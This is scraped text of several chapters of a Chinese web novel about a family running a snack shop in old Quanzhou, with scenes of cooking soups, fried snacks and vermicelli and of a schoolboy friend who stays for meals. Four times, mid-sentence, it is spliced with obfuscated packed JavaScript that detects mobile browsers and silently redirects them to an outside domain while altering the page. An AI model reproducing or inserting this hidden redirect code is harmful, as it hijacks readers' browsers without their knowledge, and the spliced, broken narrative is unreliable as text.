许东山勾了勾唇角，看向了红姑和许春喜，“你们快去煮鸭子，煮完鸭子也就差不多到了接阿生的时辰！” …… 这个时候去到了街上，还没午休结束的杀猪匠四仰八叉地仰躺在了躺椅上呼呼大睡，苏月娘和许东山还未走到猪肉铺门口，便听见了杀猪匠那震天的呼噜声。 还是许东山敲了敲放猪肉的木板，杀猪匠才从睡梦中惊醒。 杀猪匠从躺椅上弹了起来，顺手抄起了割肉刀，走上前去，“许师傅怎么这个时候过来买肉？现在可剩不下什么了！” “家里孩子今天上学堂，就像这买两块老鼠肉给他补补身子！” “你们两口子来得还真是巧！还剩下两块老鼠肉！”杀猪匠抓起两块精瘦的老鼠肉丢到称盘上，调过秤砣后，杀猪匠报了个价。 许东山付过钱之后，杀猪匠将钱往底下的匣子里一丢，放下割肉刀，迫不及待地回到了躺椅上继续睡觉。 苏月娘看了直笑。 果然大家伙还沉浸在悠闲轻松的年兜里不肯醒神。 回家之前，苏月娘还朝正在收摊的惠安女阿嬷买了几颗文蛤。 …… 老鼠肉汤是一道家家户户都会给孩子做的生长汤。 苏月娘自告奋勇揽下了给阿生炖老鼠肉汤的活。 拳头大的老鼠肉横竖密密地切上几刀，而后用刀背来回将肉拍松散一些，随后丢到备好的滚水锅里快速地将两块老鼠肉烫熟后捞出。 大炖盅里丢上几片中心为黄白色的高丽参干、两片厚姜母、一把莲子、几颗红枣枸杞以及方才买的文蛤，搭上两大碗开水，便可以盖上锅盖慢慢炖煮了。 忙活完这些，来吃晚饭的客人慢慢地上门了。 店里离不开人，只能红姑一个人出去接阿生。 —— 天都快黑了，客人渐渐少了，许东山忙里偷闲地炒了几个菜，等着阿生回来就开饭。 快要打烊的时分，红姑和阿生总算到家了，祖孙俩的身边还跟着一个阿墩。 林大松蹲在孤榻上剥芦柑吃，看来了三个人，他站了起来，将剩下的芦柑分成两半，阿生和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15780877|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿墩各塞上一口。 “你怎么也来了？你不回家吃饭吗？” 阿墩三口两口嚼了芦柑，冲着林大松笑，“我阿公说了，先让我来这儿玩！一会儿他来接我！” “阿生！”苏月娘听见外头的声响，赶忙跑出去一把抱起读书郎阿生，“快同干娘说一说今天怎么样！” 阿生咧嘴笑，“夫子今天夸我聪明！而且还认识了好几个同窗！我们歇息的时候还一起玩了！” 阿墩举手，“月娘头家，我是其中一个！” 苏月娘笑出声来，“谢谢你陪我们阿生玩！快进来坐一坐！” 两个孩子勾肩搭背地进屋了。 许东山知道阿生回来了，便着手将汤和菜往外端，阿墩看见许东山，还很是热情地许东山挥了挥手，“许叔好！” 每天早上过来，阿墩脸上的怨气比鬼都重，许东山就没见他笑过几次，现在看这孩子笑了，许东山便觉得他长得还是挺可爱的。 “我家要开饭了，你要不要留下来吃饭？” 阿墩看看桌上色香味俱全的饭菜，肚子忽然“咕咕”地叫了两声，他舔了舔嘴唇，“真的可以吗？” 倒不是他饿得非现在吃饭不可，而是家里的婶婆烧饭实在是太难吃了。 “当然可以！正好今天多煮了一点！” 阿墩笑了，“谢谢！” 既然阿墩来了，那那盅老鼠肉汤便不能由阿生一人独享了，于是苏月娘回了厨房，将那一盅老鼠肉分成了两碗。 东西都上齐全了，阿墩还是很规矩地坐在位置上等着大人们落座。 直到大人们都到齐了，许东山和苏月娘开始吃了，阿墩才开始动筷子。 苏月娘将阿墩的默默观察放在了眼里，暗道吴家不愧是讲究人家，阿墩不爱读书归不爱读书，但确实是挺礼貌的。 “这老鼠汤你和阿生一人一碗，记得把里面的高丽参都给吃了！”苏月娘将汤递给了两个孩子。 阿墩瞅了一眼老鼠肉汤，歪着脑袋，和阿生低声道：“我第一次喝这种汤的时候还以为这真的是老鼠做的汤！甚至背着我娘把这汤全部吐掉！” 阿生觉得有趣，便捂着嘴，笑了起来。 阿墩只说完这一句闲话后，就开始喝老鼠肉汤了。 炖了一个半时辰的老鼠肉，精华已经全部渗到了汤水里，汤浮着一层不薄不厚的油，经少许盐调味，咸鲜中透着一股子并不会让人讨厌的参味，而沉在汤盅底下的一大块老鼠肉不知为何半点不柴，沾上一点手边的酱油，也是一种美味。 喝汤之后尝菜，每道菜尝了一口后，他由衷地对许东山和苏月娘道：“许叔，月娘头家，你们家的饭菜真好吃！跟吃酒席一样！” 苏月娘笑道：“你许叔以前就是做酒席的。” 许东山点了点头，一本正经地夹断炣肉鱼，将肉多还好吃的鱼腹和鱼尾夹到阿墩的碗里，“喜欢就多吃一点。” 苏月娘看了许东山一眼，只觉得他心底在悄悄得意。 一家子晚饭吃完了，吴头家才姗姗来迟。 见自家大孙子摸着圆滚滚的肚子坐在板凳上和阿生闲聊，他哭笑不得，“你怎么还蹭上饭了！还给吃撑了！” 阿墩，“阿公，这里的饭好吃！” 正在擦桌子的苏月娘也道：“阿墩嘴巴甜，夸得我们阿山心里开心，一直不停地给他夹菜！” 吴头家对着孙子招手，“真是麻烦你们了……时候不早了，我们就先回去了！” 阿墩将书袋背在身上，弯着眼睛同阿生约好明日一早一起去上学。 112. 寸枣 第二日，阿墩难得脸上挂着笑来到月娘小吃铺里，今天他还多带了一个肉包子，说是要给阿生当早饭吃。 吴头家看着两个孩子亲亲热热地凑在一起吃东西，对苏月娘感叹道：“我苦口婆心地讨价还价都比不上这么一个小孩子！” 苏月娘拿着食盒装到了阿生的书袋里头，笑道：“我也是没想到我们家阿生能这么快交到朋友！以后我们阿生就拜托给阿墩照顾了！” 很讲义气的阿墩立即拍着胸脯保证了起来。 …… 今天在阿生的坚持下，大家也就让他跟着阿墩一块儿走去上学。 看着个头差不多的两个小萝卜头蹦蹦跳跳地跑远了，红姑和苏月娘才挽着胳膊回到店里忙活。 —— 午后没什么客人了，月娘小吃铺的大家伙坐在堂屋里闲谈，配上一点过年时新买的茶叶和没吃完的蜜饯，倒像是又有了点儿年味。 正好这事儿，阿莲将下半日要售卖的鸭子挑过来了，苏月娘赶忙上前去帮忙卸掉了担子。 阿莲从衣兜中掏出一块小手帕擦了擦额角细密的汗水，“月娘，你阿舅家的鸭子是越来越肥了！年前我能轻轻松松地将鸭子挑过来，这会儿我挑到这儿，腿都有些发软！” 苏月娘弯腰从篮子倒拎出一只鸭子掂了掂，手里的鸭子确实比年前卖的鸭子重了不少。 “我说最近怎么客人们都说吃得很撑！” 林大松低头挤开了干燥的花生壳，将里头灰白色的花生仁倒在许春喜的掌心里头，听见苏月娘的话，他解释道：“我爹说他挣了不少钱，就给山上的鸡鸭换了好一点的饲料！” “阿舅也真是的，说好多大的鸭子就多大……还自己往上添了！”苏月娘无奈地将鸭子放回了筐子里，“阿山，你把鸭子抬进去吧！” 在许东山过来将鸭子抬走之前，阿莲从这筐子里翻出一个用布包裹严实的罐子，“家里的亲戚送了不少麦芽糖过来，左右我和我娘也吃不了这么多，就带一罐来给你们当零嘴或者做菜！” 与物产种植有关，本地的麦芽糖价钱可比白糖、糖栓来得贵。 苏月娘美滋滋地将麦芽糖收下了，“多谢！那我就收下了！” 许春喜见自家大哥抬着其中一筐鸭子走了，便捅了捅林大松的胳膊，喊林大松去帮忙。 林大松在那儿多磨蹭了两口茶水和零嘴才不情不愿地拖着另外一筐鸭子离开。 阿莲累了一路了，苏月娘拉着她坐下来喝茶。 知道阿莲喜欢喝浓一些的，苏月娘特地给她重新换了一把茶叶，倒上还滚烫着的热水，静等茶水颜色变深。 “不知道你们听说没有，隔壁那个李金花正在张罗着给她儿子找个媳妇儿！”阿莲压低声音，指了指一旁的墙。 “她儿子都成瘫子了，怎么还惦记着成亲的事情？”红姑很是不理解地摇了摇头，“名声都臭成这样了，谁会乐意嫁到这家！” 阿莲冷笑，“今早我卖豆花的时候，瞧见李金花拿着钱硬塞给媒婆，叫那媒婆一定要给她家那金贵的瘫子寻一个好手好脚的姑娘！” 好手好脚的姑娘…… 好手好脚的姑娘嫁去这家能做什么？给李金花当牛做马？还是给瘫在床上的许东石端屎端尿？ “阿平，那家把药钱赔给你了吗？” 阿平皱着眉，摇了摇头。 事情是去年十一月廿六出的，到现在正月十七了，药钱他可没见到半个子儿。 苏月娘拍了拍大徒弟的肩膀，“没钱赔给阿平，倒是有钱给那个瘫子张罗媳妇！你放心，这笔钱我一定想办法帮你要到！” …… 阿莲送来的那一罐子麦芽糖很快就排上用场了。 离准备下一顿还有好一会儿，许春喜又开始手痒想做点零嘴了，看着摆在桌上的那罐麦芽糖，她决定用着麦芽糖做点今年过年时没有吃上的寸枣。 阿莲也不急着离开，便随着许春喜去厨房里看热闹了。 阿莲在家也是下厨的，但仅限于用简单的厨具做出简单的家常菜，看着这厨房里大大小小的几口锅、挂了两排还有些挂不下的锅勺锅铲以及在角落里堆成了一座小山的调味，她还是难免有些被惊到。 苏月娘不好意思地笑道：“我家厨房一般都是干干净净的，今天中午客人比较多，大家也都累坏了，我也就没让他们费力气整理。” “半点没觉得乱！” 走街串巷的阿莲也曾在机缘巧合之下看到几次别的吃食小店的后厨，只能说那些小店各有各的脏各有各的乱。 另外一口大锅还在炖着明早要做面线糊的猪骨汤，许春喜正好去那口锅下借点火，给窗下那口小锅生火。 等着粗柴被火点燃的时候，许春喜提起刚刚泡茶用剩下的热水往小锅里倒，再取上一把筷子，从罐子里挖了麦芽糖，旋转糖丝，将之黏在筷子上。 许春喜一共缠了三支麦芽糖，两支给苏月娘和阿莲做零嘴，一支化到锅中热水里给寸枣的面团做底味。 随着锅里的热水再次慢慢被锅底的大火烧沸，缠在木筷子上的暗黄色麦芽糖也全部化在了沸水之中。 看着许春喜做了这么久的零嘴，苏月娘也大概清楚一些零嘴的做法，这会儿，见许春喜去取糯米粉了，她很是上道地挪到灶台边上，翻了一条柴火出来，省得一会儿许春喜搅拌糯米粉的时候将手烫伤了。 阿莲嗦着还有大半的麦芽糖，走到许春喜身边去，看着许春喜将一整盆糯米粉往锅中倾倒，再拿起刚才化麦芽糖用的筷子对着糯米粉一阵搅拌。 “就光糯米粉吗？不需加点面粉？”阿莲好奇问道。 “加点面粉也是可以的，只是家里没有面粉了，只有糯米粉也不会影响什么！” 一会儿之后，锅中的糯米粉与麦芽糖水顺利融合，成为了大小不一的面絮，许春喜将面絮铲到一旁的木盆里头放着，淋上一点点油给这面团润一润。 阿莲转了转脑袋，发现刚才蹲在灶边取柴火的苏月娘还没站起来。 她疑惑地弯下腰，看着脸对着院子的苏月娘，而后顺着苏月娘的视线瞧去，只见她和坐在院子洗鸭子的许东山正在眉来眼去。 两口子隔着大老远，没有一句话，光坐着你看我我看你，两人之间浮动的甜蜜情意，连阿莲这棵没有开花的铁树都感受到了。 遥想去年她过来和许东山相看的时候，许东山一副不近人情、公事公办的模样，没想到不到一年，他就变了个人似的。 怕烫的许春喜拿着锅勺压面团时，瞧见阿莲盯着苏月娘和自家大哥好奇地看着，她习以为常地笑道：“他俩就这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787009|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，要不是现在边上有人，他俩得抱在一起又亲又啃……” 阿莲，“……长这么大没见过感情这么好的小两口……” 苏月娘听见边上的好友与许春喜一起在嘀咕自己，她回过头，警惕地扫了两人一眼。 许春喜动手揉面团，扬起微笑，“你别误会，我就是和阿莲说你和我哥感情有多好！我可没说你的坏话！” 苏月娘看向阿莲，阿莲嘴角上那一丝戏谑的笑来不及隐藏便被捕捉了，苏月娘双颊一红，赶紧站起来去给许春喜帮忙。 门外的许东山看苏月娘跑了，一边洗鸭子一边看向窗里的许春喜。 这臭丫头又调侃月娘什么了？ …… 寸枣的做法与蒜蓉枝有些类似，却比蒜蓉枝简单上不少。 许春喜取来擀面杖将糯米面团摊成一张半圆不方的扁面片，而后取来一把菜刀，仔仔细细地将面片切成细长条。 阿莲也不好意思光在边上站着看了，许春喜每切一条，她便取来一条细面条搓成圆条。 许春喜嘱咐道：“搓细一些，一会儿下锅碰到热油后，这面条还会胀大！” 阿莲应了一声，自己估摸着去调整糯米条的粗细。 一刻钟之后，两个人合力将糯米面条搓得细长，并将其切成小拇指那般的长度。 苏月娘已备好油锅。 生寸枣需得热锅冷油时便下去，许春喜备的量正好够下一锅，在锅中油变热之前，苏月娘一手叉着腰，一手握着锅铲轻轻翻动锅里的寸枣。 油温慢慢升高，寸枣慢慢膨了起来，白中带了点儿黄的面团在热油的入侵中变得金黄，原先软绵绵的外皮也变得有了脆度。 油烟中带着一丝丝面香。 寸枣出锅了，许东山与林大松也洗完鸭子回屋了，正在吃半成品寸枣的苏月娘顺手捏了一个塞到许东山的嘴里。 姑嫂俩是各做准备的，苏月娘这儿的寸枣刚出锅，许春喜那儿的糖稀也正正好熬好。 “把寸枣熬过来炒了！” 已经在偷吃的林大松立即端起那盆寸枣走向许春喜，在将寸枣倒进锅里之前，林大松抓起两个寸枣往许春喜嘴里一塞。 阿莲目睹全程，“春喜，你和他感情也挺不错的嘛！” 难得被人调侃一回的许春喜若无其事一般将林大松往边上一推。 而不知前因的林大松呲着大牙，乐呵呵道：“谢谢啊！” 许春喜扯了扯嘴角，懒得去踹这个大傻子了，只得专心地翻炒着锅里的寸枣。 糖稀慢慢收了水分，成为了挂在寸枣上的糖霜，在尚残留着些许粘稠的糖液之时，往里撒入一把用来增香的黑油麻。 水分全然被炒干了，酥脆的寸枣就可以出锅了。 一出锅，大家都拿了一条形似金条一样的寸枣尝尝味道。 外头带有点油麻香的糖霜不必说，咬下裹挟在内里的酥脆寸枣，倒没有尝出多少糯米粉的味道，留在舌尖的只有类似于蒜蓉枝麻花的油面味道，且还会稍微有些麦芽糖淡淡的清甜。 时辰不早了，月娘小吃铺得开始准备傍晚的吃食了，阿莲也就不待着叨扰苏月娘他们，便提出要告辞。 这寸枣阿莲是帮了忙的，许春喜寻了之前卖蒜蓉枝没用完的油纸，给阿莲装上一包带走。 113. 二卤汤 傍晚，月娘小吃铺送走了最后一位客人，阿生才出现在巷子门口，当然了，他新结交的好朋友阿墩也在。 阿墩手上还提着一袋子刚刚路过干货行找他阿公要来的大红枣，他今日来的目的很明确，一进门，他就找到坐在堂屋里吃寸枣垫肚子的苏月娘，献宝一样将那袋红枣递给苏月娘。 “月娘婶婶，这是送你的红枣，感谢你昨天晚上收留我吃饭！” 苏月娘接过红枣搁在桌上，给阿墩和阿生两个人各喂了一条寸枣，“怎么叫起婶婶了？昨天不还是叫头家。” “阿公说，叫婶婶比较亲切。” “你都送我这么多红枣了，那你今天晚上要不要留下来吃饭啊？”苏月娘打开布袋子，取出一枚红枣嚼了起来。 红枣红艳艳的，又干又甜，就是往下咽的时候，锋利似刀片的红枣皮有些刮嗓子。 阿墩很矜持地点点头，“那就麻烦了！” 苏月娘笑着扭头朝着厨房道：“阿山，今晚上阿墩留在家里吃饭！你多炒一样菜！” 许东山应了一声。 “你们夫子布置功课没有？有的话趁还没开饭先做一做！” 功课自然是有的，阿墩脸一垮，慢吞吞地从书袋子里翻出他的书本，与对功课还觉得新奇的阿生坐在一起看书。 苏月娘将寸枣和红枣摆在两个孩子面前，以便他们嘴馋的时候能够伸手摸一个吃。 阿生看书很是认真，一直没从书本里抬起头来，倒是阿墩有些三心二意的，一会儿玩手指，一会儿吃东西，最后索性和苏月娘说起了话。 “月娘婶婶，今天中午我和阿生一起吃饭，我尝了他的菜，觉得味道很好！” 阿生的饭是苏月娘做的，苏月娘听见阿墩的话乐得不行，“真的吗？那是我做的！” “婶婶真厉害！”阿墩叹气道：“我家里做饭的婶婆做的东西没有这么好吃……每次我吃不下东西了，她还硬塞进我嘴里……” 苏月娘抓起一根寸枣塞到他的嘴里，“好了，你乖乖温习功课，我去厨房看看菜！” …… 厨房里忙得热火朝天的，因为苏月娘要临时多加一样菜，许东山就只能暂时将做汤的事情往后推一推。 苏月娘凑到正在剁带鱼的许东山身后，盯着案板上被开膛破肚、斩段的带鱼，“这鱼要怎么做？” 许东山转头看了一眼从身后冒出的脑袋，“要炸，你要是闲着的话，你去准备一下汤。” 苏月娘回头望了一眼摆在料台上的碗，一日过去了，那些料卖得差不多了，但今日醋肉似乎备得特别多，到现在还有半盆。 她灵机一动，跑到放菜的地方翻找了好一会儿才从最底下翻出今天在街上花大价钱买的一把荷仁豆。 “阿山，我们做点二卤汤吧！” 许东山朝着苏月娘看了一眼，点头，“加点炸芋头会更好吃，今天还有半颗芋头没用完，一会儿我一起炸了。” 夫妻俩商量好了今晚要喝的汤后，便各自开始准备了。 这道二卤汤乃是闽南地区常见的一道杂汤，古时候，每每有需祭祀之时，家家户户就会剩下许多炸物或者素菜，出于节约，人们会将这些东西加醋去味，一股脑地放在锅里乱炖煮成的杂菜汤，后来随着年岁变迁，人们将杂菜汤叫成了二卤汤。 既然是杂菜汤，只要有炸物和素菜就成，并没有什么太多的规定。 年前备年货的时候，许东山还炸了一斤猪皮当软锅烧的配料，那一斤猪皮陆陆续续吃了几次，到现在还有约莫半斤。 于是苏月娘从橱子里翻出那半斤炸猪皮，准备添到汤里给汤增添一些荤腥味道。 炸猪皮密闭保存，至今仍然酥脆，用手用力一掰，便可轻松被掰成小块，陆陆续续掰了半盆，正在给带鱼上浆的许东山忍不住喊道：“别再掰了，抓点回去，不然一会儿该吃不完了！” 到时候剩东西了，东西不是被迫塞到他肚子里，就是便宜哦屁了。 当然哦屁应该吃不了二卤汤，所以受苦的还是他。 苏月娘撅着嘴，打量了一眼猪皮，虽不觉得多，但还是抓了一点回去。 二卤汤的精髓在于用剩菜，于是带鱼与芋头开炸之时，苏月娘着手炒荷仁豆，力图让这荷仁豆吃起来的时候有一种返锅的软烂口感。 荷仁豆不必调味，炒熟之后倒入半锅水和炸猪皮块，黄色的油花顿时从四面八方汇聚到了水面上，那些还没有来得及软化的炸猪皮好似漂浮在撒满星河里的小舟。 只是可惜苏月娘将卖剩下的醋肉倒进锅里后，这些猪皮便成为了沉舟。 待许东山送来刚炸好的芋头和几块带鱼，苏月娘便着手开始给汤水调味。 永春老醋是必要的，淋上小半圈足矣，适量盐，以及一坨甜辣和一点就胡椒粉。 醋和胡椒粉一落锅，轻轻一搅拌，味道便从锅里急速冒出，往四面八方飘散。 好不容易静下心来温习功课的阿墩闻见味道又从书里抬起头来，他戳了戳正在和《千字文》作斗争的阿生，“什么味道？好香啊！” 许多菜肴味道都是相似的，阿生并闻不太出来，“我闻不出来，你可以去厨房里看看。” 阿墩看着书本纠结了一下，还是跳下椅子，打算去厨房一探究竟。 勾过薄芡的汤滑滑稠稠的，在出锅之前，苏月娘用调羹舀了一勺尝尝味道，这汤又酸又辣油腥还足，尝一口叫人胃口大开。 唯一美中不足的就是这汤吹得不够凉，苏月娘被烫得五官扭曲， 许东山瞥见一旁的妻子又被烫了，将盛满炸带鱼的漏勺往锅上一架，大步走上去看看她的情况。 他捧着苏月娘的脸，叫她将嘴巴张开，看着她舌头上的红，许东山皱着眉吹了两下，“上次说你你还不乐意！以后不许尝刚出锅的东西！” 苏月娘怨他又拿这个说事，气得哐哐用脑门撞他的鼻子。 许东山被撞得鼻子发麻，他捧着苏月娘的两手往上一翻，改为捏着她的两边脸颊，苏月娘不服，又要继续撞他。 两口子凑得很近，看起来像是快要亲上了一样，阿墩可不敢贸然进入捣乱，只能捂着眼睛转过身，蹑手蹑脚地回去坐着。 阿生，“看到是什么了吗？” 阿墩摇摇头，“没有。” 想起亲昵的许叔和月娘婶婶，阿墩还有点不好意思，但他并没有将这事儿告诉阿生。 毕竟阿生还小，不用知道大人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15791679|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情。 …… 阿墩期待已久的晚饭在半刻钟后开始了。 他这才知道那酸酸辣辣的味道是从那一盆颜色有点暗，还飘着绿芹菜珠和一点一点油星的汤水里面飘出来的。 这汤的模样有点儿丑，并不符合他的期待。 “今天这汤味道可好了，很适合开胃！你先喝一碗尝尝！”苏月娘首先舀了一碗每种料都有的二卤汤给阿墩这个小客人。 虽然阿墩打心底觉得这汤长得十分让人没有胃口，但他还是拿起汤勺尝尝味道。 但有些东西就是色相与味道是极为不匹配的，二卤汤不入口不知道，一入口便着实让阿墩惊了一把。 丑归丑，但尝起来和闻起来一样香，这汤一入口就有一种浓稠油厚的感觉，酸与辣两相争锋，争先恐后地冲击天灵盖，让人呼出带着酸味的热气。 阿墩并不是很能吃辣，咽下汤后，他还扭过头，咳嗽了两声。 苏月娘轻轻拍打他的后背，“怎么样？味道是不是特别棒？” 猛咳一阵后，阿墩的两只眼睛变得红红的，但这丝毫掩盖不了他眼睛里的光亮，“好喝！明天我就让我家的婶婆做这个！” 林大松打趣道：“你这孩子还挺有意思，怎么什么都好吃？跟八百年没吃过好东西一样！” 阿墩张了张口，原要说确实是八百年没吃过好东西，但想到毕竟婶婆也是长辈，在别人面前说太多次婶婆手艺不好实在有些太过失礼，是以他咽下到了嘴边的话，低下头专心地喝汤。 …… 今天，吴头家依旧是姗姗来迟，他看着又在人家家里蹭了一顿饭的阿墩，什么也没说，就是弹了一下他的脑门。 “你在这儿吃了，你婶婆做的饭怎么办？” 阿墩故作遗憾地叹气，“那也没办法了！实在是月娘婶婶太热情了，我才留下的！” 苏月娘笑着指了指桌上的那一袋红枣，“我也没办法，谁叫你送了我这么多红枣？” 吴头家没想到这红枣是给苏月娘的，他看着孙子眼里划过的一丝狡黠，还是决定路上再说他。 祖孙俩和月娘小吃铺里的众人告了别，便踏上了回家的路。 月辉洒了一路，吃饱喝足的阿墩愉快地踩着那些细碎的月光蹦蹦跳跳的，吴头家看着孙子这开心的模样，决定说点让他更开心的。 “既然你这么喜欢他们家的饭，倒不如我给他们点钱，让他们每天给你管你一顿饭？” 走在前面的阿墩眼睛亮了一下，却很快藏住了，“阿公，你这样做婶婆会伤心的！” 吴头家抱着胳膊，重重冷哼了一声，“你要真怕你婶婆伤心，你刚刚就不会找我要红枣送给月娘头家，并且赖在她家蹭饭了！” 小心思被戳破了，阿墩也是理直气壮起来了，“那阿公每天早上带我出来吃面线糊、吃包子、喝花生汤也是在伤婶婆的心！” “别说那些有的没的，你就说你想不想留在月娘头家家里吃饭！” 阿墩赶紧跑回去，挽着吴头家的胳膊冲他笑，“我可太想了！” 吴头家笑了一声，搂着孙子继续往前走。 婶婆伤不伤心的先不管，让孙子多长两斤肉才是最重要的。 114. 炒冬粉 给阿墩管一顿饭的事情倒是好说，吴头家一提，苏月娘便一口应下。 当然了，吴头家还给苏月娘塞了一大笔钱，既当阿墩的菜钱，也当苏月娘看管阿墩的辛苦钱。 自此以后，阿墩便名正言顺地留在月娘小吃铺里大吃大喝，一个月圆润了数斤，害得吴夫人还得张罗着给他做新衣裳。 这是后话了。 —— 大抵是朝廷有大官要来泉州巡查，近来街上戒备森严，时不时就会冒出一个带刀的捕快在小摊小贩之间巡逻。 等入了夜，一向懒散的打更人也难得勤快起来，每隔两刻钟就在巷道里转悠一回，有时许东山睡得晚了，还能听见响亮的打更声。 一连紧张了十来日，朝廷的人总算南下入了闽地，巡过福州，游过莆田，最后在一月二十八到达泉州。 据说周伯益为了迎接这位大人，天没亮就守在城门口等人，直到过了午后，方才瞧见架势不小的队伍入了城。 消息传到苏月娘耳朵里的时，已经是二十九了。 那时，她正和许东山一起在街上与菜贩子订二月初二那日去施斋面的菜，正在讨价还价呢，便听见站在一旁与人闲聊的捕快说起了这几日知府大人正在为招待朝廷来人而焦头烂额。 两口子对视了一眼，从彼此眼里看到了一丝紧张。 苏月娘将沉重的菜篮子往许东山手上一塞，“你继续还价！我去问问！” 许东山叹了一口气，有点发愁要怎么说服菜贩子将价格再往下降一降。 不知如何说，就真诚地看着对方吧！说不定对方一心软就给他省一点了！ 那位捕快小兄弟还在和人家喋喋不休那朝廷大官的阵仗有多大，苏月娘往边上一站，打断了他的话。 “小兄弟，听你说朝廷的大官过来了……那知府大人可有说过这位大人是否有安排探访民间的行程！” 这位捕快曾经和林捕头一起去月娘小吃铺吃过一回姜母鸭，倒也是认识苏月娘，虽不清楚苏月娘这样问地用意，但他也是耐心答道：“虽我不曾听说这位大人可否有探访民间的行程，但近来我们知府大人都陪着这位大人在市舶司（1）那儿了解情况，听说接下来他们还要去港口探访……若要探访民间，怕也是多日之后的事情了。” “多谢了！你们日在街上站着也怪辛苦的，若是累了，尽管到我们店里小坐一会儿！喝口热茶！” 这位捕快兄弟一下子听懂苏月娘的意思，茶水她包，但有消息要说与她听。 “月娘头家客气了，有什么想知道的尽管问我！问我们头儿也成！” 问过话后，苏月娘回到频频往这儿张望的许东山身边，“咱们也先别紧张，那位大人还有正事要干，要来我们这儿，怕是还要一段时日！” 许东山点点头，继续目光真诚地看向坐在板凳上叫卖的那位菜贩子，那菜贩子被盯得实在没办法了，只好松口。 “罢了罢了！看在你俩是做好事的份上就给你们少算一点！”菜贩子看向苏月娘，“月娘头家，你家这位可真吓人！一句话都不说就站在我跟前盯着我看，怪吓人的！” 苏月娘嗔了许东山一眼，“真是不好意思！我回去就骂他！” 与菜贩子道了别后，苏月娘推着许东山走了。 待走远之后，苏月娘轻轻捶了许东山一下，“行啊你，知道自己长得凶，还用盯着人家这招来还价！” 许东山皱眉，“成功还价就好了，你别骂我。” “夸你都来不及了，我怎么会骂你！”苏月娘笑了两声，“我决定买两包糕点表扬你还价成功！” 看着苏月娘欢欢喜喜地朝着糕点铺子跑去，许东山无奈地笑了。 —— 今天生意蛮好的，除了多准备的面线糊之外，其他的东西也都卖得个底朝天。 大家忙得够呛，便也就没什么心思再去张罗午饭。 阿平来店里的时间零零碎碎加起来也有快两个月了，他的手艺和进步大家都是看在眼里的，于是大家一致决定派他独自做一顿简单的午饭。 其他人该擦桌的擦桌，该刷锅的刷锅，倒是许东山这个做师父的担心徒弟不能做好，清洗锅碗瓢盆时总是忍不住从窗子外探头。 近来阿平不仅负责做海蛎煎和浮粿，偶尔许东山忙不过来了，还会帮着许东山煮米粉汤。 但是炒米粉这样需要点气力的活他一直没有做过。 阿平对此跃跃欲试，但又已经吃腻了炒米粉，在橱子里翻来找去，还真让他找到几把去年没吃完的冬粉。 看着阿平站在水盆边上比划半天不知道该泡多少冬粉，许东山在外头提醒道：“按照炒米粉的量放！” 想着许东山和林大松都很能吃，于是阿平照着平常售卖的八人份来准备。 炒米粉和炒冬粉除了粉用的不一样之外，其余的并没有任何区别，阿平跟在许东山身边打了这么久的下手也将炒米粉看会了。 炒米粉的料都是现成准备好的，但这是自家吃的东西，必然是要和往外售卖的东西做出区分。 抓一大把切好的三层肉片丢到锅里煸出一汪醇香的油脂，再倒入提前打好的一碗蛋液炒成蛋碎，固然鸡蛋吸油，但是架不住阿平丢的三层肉多，锅里的油足够支撑他再往里倒入香菇、虾仁、苏糕、红菜、包菜丝炒一顿。 只是他这料下得实在有点多，冬粉还没下，料就已经在锅里堆了一大坨了。 许东山单手提着最大的锅回来，看着锅里那一堆菜，难得打趣道：“真的是得了你师娘的真传，都不会控量。” 阿平看看锅里的配料，再抬头看看对着他笑的师父，以及拎着抹布回厨房的师娘—— “你还敢说我坏话！什么叫得了师娘的真传！” 果不其然，师父挨打了。 阿平秉着非礼勿视的想法低下头继续干自己的事情。 不过他灵敏的耳朵告诉他，后来师父在厨房门口亲了师娘一口，师娘就又和师父和好如初了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800657|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 配料还没下完，阿平只能从锅里盛出一些等着傍晚掺在卖给客人的米粉里炒掉，另外再倒入鱿鱼和海蛎给这平平无奇的米粉增添一点卖相。 配料炒熟过后，简单调味，倒上一点热水，放入已经泡软的冬粉开始翻炒。 